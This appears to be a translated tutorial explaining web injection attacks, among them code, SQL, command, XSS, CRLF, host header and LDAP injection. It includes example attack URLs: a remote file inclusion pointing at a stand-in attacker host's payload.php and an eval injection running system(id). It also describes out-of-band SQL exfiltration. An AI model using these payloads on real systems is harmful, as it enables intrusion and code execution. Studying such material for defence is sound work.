Code Injection
Code injection is the term used to describe attacks that inject malicious code into the application. Simply put, the injected code is run by the application and changes the way the application works.
Although Code Injection and Command Injection are very similar to each other, there is a difference between them. In Code Injection, the attacker is limited by the functionality of the language used. For example, once the attacker manages to inject PHP code and execute the malicious command, they are limited to what PHP can do.
In the scenario where the include() function is used without input validation:
// Intended use
http://zafiyetli-site.com/?path=sepet.php
// exploit exploited
http://deficit-site.com/?path=http://aggressor-site.com/payload.php
In the scenario where the eval() function is used without input validation:
source code:
// Intended use:
http://zafiyetli-site.com/index.php?arg=1
// Exploit exploitation of the vulnerability:
http://zafiyetli-site.com/index.php?arg=1 ;system(id)
Structural Query Language Injection (SQLi)
Similar to Code Injection, SQLI is a serious vulnerability that arises from sending the data received from the user to the application without sanitizing and running it directly in the database. As a result of the SQLI attack, the attacker gains many dangerous privileges such as bypassing the “username and password” part on the login pages, reading & changing sensitive information, using admin privileges in the database.
Let's break down SQL Injection in its most familiar form into its main branches:
- In-band SQL
- Blind SQL
- Out-of-band SQL
We can divide it into three different branches.
In-Band SQL
It is the easiest attack type to exploit in SQL Injection.
The attacker performs the attack and the consequences are the same.
This type of attack he sees on the ground is divided into two:
Error-based SQL:
It is the type in which the attacker can deliberately send a query request to cause an error in the database, obtain information about the database structure based on the error message returned in the request, and in some cases even obtain all the database information.
Union-based SQL:
Using the attacker's 'UNION' and 'SELECT' operators,
As a single result inside the HTTP response,
Shows the result of the query request that the database is running.
Blind SQL
Unlike 'in-band sqli', an attacker may take longer to exploit 'blind sqli'. However, this type of attack is as dangerous as other 'sql injections'. Since no data is transferred by the web application in 'Blind SQL', the attacker will not be able to see a result directly on the screen, unlike in-band attack.
Instead of visible results on the web page, the attacker can observe the behavior of the database and web application by sending appropriate payloads and learn the database structure and content.
Just like 'In-band SQLi', 'Blind SQLi' is divided into two.
Boolean-based:
Boolean based injection, which is an inferential SQL injection technique, TRUE or FALSE It is a type of vulnerability that can be deduced from showing different results according to the answer. Depending on the result, the contents of the HTTP request remain the same or vary. It will be very slow for the attacker to read the contents of the database (especially in large databases) as the enumeration will be character by character.
Time-Based:
Similar to boolean-based SQL injection, in time-based injection the result of the sent request TRUE or FALSE Depending on whether it is, it creates a wait operation in the database in seconds (eg sleep (10)) or the result comes directly to the attacker. Thus, the database enumeration takes place character by character, just like the boolean-based attack type.
Out-of-band SQL
It is not as common as others as some features must be enabled in the database used by the web application. Out-of-band technique offers an alternative to the attacker when server responses are not very stable (for time-based attacks, it is important that the server is stable).
The OOB technique is based on the database server transferring data to the attacker via DNS or HTTP request. In such cases, xp_dirtree command is used to send DNS request in Microsoft SQL servers, UTL_HTTP packet is used to send HTTP request in Oracle Databases to a server under the control of the attacker.
Command Injection
This type of injection caused by the lack of input validation, this type of injection caused by the lack of code Inputvalidation, unlike code injection, serves to run commands directly on the system. Injected commands are run by the host OS with the privileges of the application and open the doors of many threats such as reading files on the server, changing user passwords and hijacking the system. These attacks can be prevented by the sysadmin, by regulating the authorization level of the web applications running on the server, and by measures such as input validation.
Cross-site Scripting
JavaScript is most commonly used in this type of vulnerability, which is caused by not validating the input received from the user. It allows the attacker to bypass the "Same Origin Policy". Opens the website where the XSS vulnerability is found (One of the most important parts of the attack is that it can occur even on trusted sites.) the victim's web browser executes the malicious code as part of the HTML code.
This injection, which allows the realization of many important threats such as Session Hijacking and phishing, is basically divided into three main branches:
- Stored XSS
- Reflected XSS
- DOM-based XSS
Stored XSS
As can be understood from the name Stored XSS, ie permanent XSS, the malicious code received from the attacker, database etc. in environments such as
It is the type of XSS that is run every time the relevant page is entered. For example, an XSS injected into comments on a forum site will rerun itself in the victim's web browser each time the page is accessed unless removed.
Reflected XSS
The second and most common type of XSS is Reflected XSS (non-persistent XSS). In this type of attack, the attacker's malicious code must be part of the HTTP request sent to the website. The malicious code is then reflected back in the response to the HTTP request.
Social engineering etc. The malicious code is run on the victim's web browser with the link transmitted to the victim, and the attack results. Unlike Stored XSS, the attacker must deliver the payload to each victim one by one.
DOM-based XSS
DOM-based XSS, also known as DOM XSS; usually arises from processing data from client-side JavaScript by writing the received data back into the DOM, from an insecure source, in an insecure method.
// In the example given below; The application takes the value of the input from the input field and writes it to the element in the HTML.
// If the attacker can control the value of the input field, he can easily set a malicious value and make the application run the malicious code.
Xpath Injection
This type of attack occurs when it creates an XPath query for XML data with the information it receives from the user. In this attack type, which is very similar to SQL injection, the attacker learns the structure of the XML data by sending malicious queries and attacks again with this information.
To run queries on XML data, applications take user input and create a model that matches the data. By sending malicious input, this model can become a weapon in the hands of the attacker and be used to access unauthorized data. Unlike SQL, XPath injection has no different variants. Thus, attacks can be automated and this attack can be mentioned in every web application that uses user input for XML data.
Mail Command Injection
This attack method is used to exploit email servers and applications that do not have correct input validation in IMAP or SMTP.
Most often, web pages and applications use contact forms that send email messages to relevant recipients. Usually these contact forms use headers. Headers are compiled by email libraries on the web server and translated into SMTP commands and then run by the SMTP server.
Since the inputs received by the user are generally not checked, contact forms may be vulnerable to "email header injection". In addition to these headers, attackers can add new headers and run the malicious codes they have prepared on the system.
CRLF Injection
CRLF injection is one of the injection attack types. XSS can be used to take attacks like web cache poisoning to the next level. We can talk about this attack in cases where the attacker can inject CRLF codes into the web application (eg input to the HTTP request).
CRLF stands for “Carriage Return and Line Feed”. CR and LF (ASCII 13 and 10 respectively), also referred to as “\r\n”, are special characters used to indicate End of Line (EOL). The CRLF sequence is used in operating systems including Windows and internet protocols (except Linux/UNIX) including HTTP.
Host Header Injection
In many cases, developers rely on HTTP Host Headers to create links, export scripts, and even generate password reset links. This trust is a bad idea because HTTP Host Headers can be modified by the attacker. It allows exploitation of vulnerabilities such as web-cache poisoning and password reset email modification.
As a workaround, the web application should use SERVER_NAME instead of Host Header. Also, the web application should create a fake vhost (virtual host) to catch unknown Host Headers.
LDAP Injection
LDAP is a protocol designed to search for devices, files, and users on a network. For internal networks, it becomes useful for storing usernames and passwords when used for a single sign-on system.
LDAP queries use special control characters just like any other query. If the attackers can gain access, they can change the way the LDAP query works and use it to their advantage.
Again, as in other injection attacks, the main problem is that the inputs received from the user are processed without validation.